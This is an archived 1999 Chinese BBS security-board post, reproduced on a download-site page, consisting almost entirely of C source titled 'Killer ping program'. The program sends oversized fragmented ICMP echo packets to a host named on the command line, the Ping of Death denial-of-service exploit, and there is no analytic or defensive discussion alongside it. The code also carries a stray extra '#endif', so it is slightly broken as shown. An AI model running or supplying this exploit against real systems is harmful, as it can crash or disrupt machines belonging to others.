⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 455.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="321.htm">上一层</a>][<a href="456.htm">下一篇</a>]
<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>

标  题: pinger <br>

发信站: 武汉白云黄鹤站 (Wed Jun  2 17:29:54 1999), 站内信件 <br>

  <br>

/* Killer ping program */ <br>

#include <stdio.h> <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <netdb.h> <br>

#include <netinet/in.h> <br>

#include <netinet/in_systm.h> <br>

#include <netinet/ip.h> <br>

#include <netinet/ip_icmp.h> <br>

  <br>

/* <br>

 * If your kernel doesn't muck with raw packets, #define REALLY_RAW. <br>

 * This is probably only Linux. <br>

 */ <br>

#ifdef REALLY_RAW <br>

#define FIX(x)  htons(x) <br>

#else <br>

#define FIX(x)  (x) <br>

#endif <br>

#endif <br>

  <br>

int <br>

main(int argc, char **argv) <br>

{ <br>

        int s; <br>

        char buf[1500]; <br>

        struct ip *ip = (struct ip *)buf; <br>

        struct icmp *icmp = (struct icmp *)(ip + 1); <br>

        struct hostent *hp; <br>

        struct sockaddr_in dst; <br>

        int offset; <br>

        int on = 1; <br>

  <br>

        bzero(buf, sizeof buf); <br>

  <br>

        if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { <br>

                perror("socket"); <br>

                exit(1); <br>

        } <br>

        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { <br>

                perror("IP_HDRINCL"); <br>

                exit(1); <br>



        } <br>

        if (argc != 2) { <br>

                fprintf(stderr, "usage: %s hostname\n", argv[0]); <br>

                exit(1); <br>

        } <br>

        if ((hp = gethostbyname(argv[1])) == NULL) { <br>

                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { <br>

                        fprintf(stderr, "%s: unknown host\n", argv[1]); <br>

                } <br>

        } else { <br>

                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); <br>

        } <br>

        printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); <br>

        ip->ip_v = 4; <br>

        ip->ip_hl = sizeof *ip >> 2; <br>

        ip->ip_tos = 0; <br>

        ip->ip_len = FIX(sizeof buf); <br>

        ip->ip_id = htons(4321); <br>

        ip->ip_off = FIX(0); <br>

        ip->ip_ttl = 255; <br>

        ip->ip_p = 1; <br>

        ip->ip_sum = 0;                 /* kernel fills in */ <br>



        ip->ip_src.s_addr = 0;          /* kernel fills in */ <br>

  <br>

        dst.sin_addr = ip->ip_dst; <br>

        dst.sin_family = AF_INET; <br>

  <br>

        icmp->icmp_type = ICMP_ECHO; <br>

        icmp->icmp_code = 0; <br>

        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); <br>

                /* the checksum of all 0's is easy to compute */ <br>

  <br>

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { <br>

                ip->ip_off = FIX(offset >> 3); <br>

                if (offset < 65120) <br>

                        ip->ip_off |= FIX(IP_MF); <br>

                else <br>

                        ip->ip_len = FIX(418);  /* make total 65538 */ <br>

                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, <br>

                                        sizeof dst) < 0) { <br>

                        fprintf(stderr, "offset %d: ", offset); <br>

                        perror("sendto"); <br>

                } <br>

                if (offset == 0) { <br>



                        icmp->icmp_type = 0; <br>

                        icmp->icmp_code = 0; <br>

                        icmp->icmp_cksum = 0; <br>

                } <br>

        } <br>

} <br>

  <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="321.htm">上一层</a>][<a href="456.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -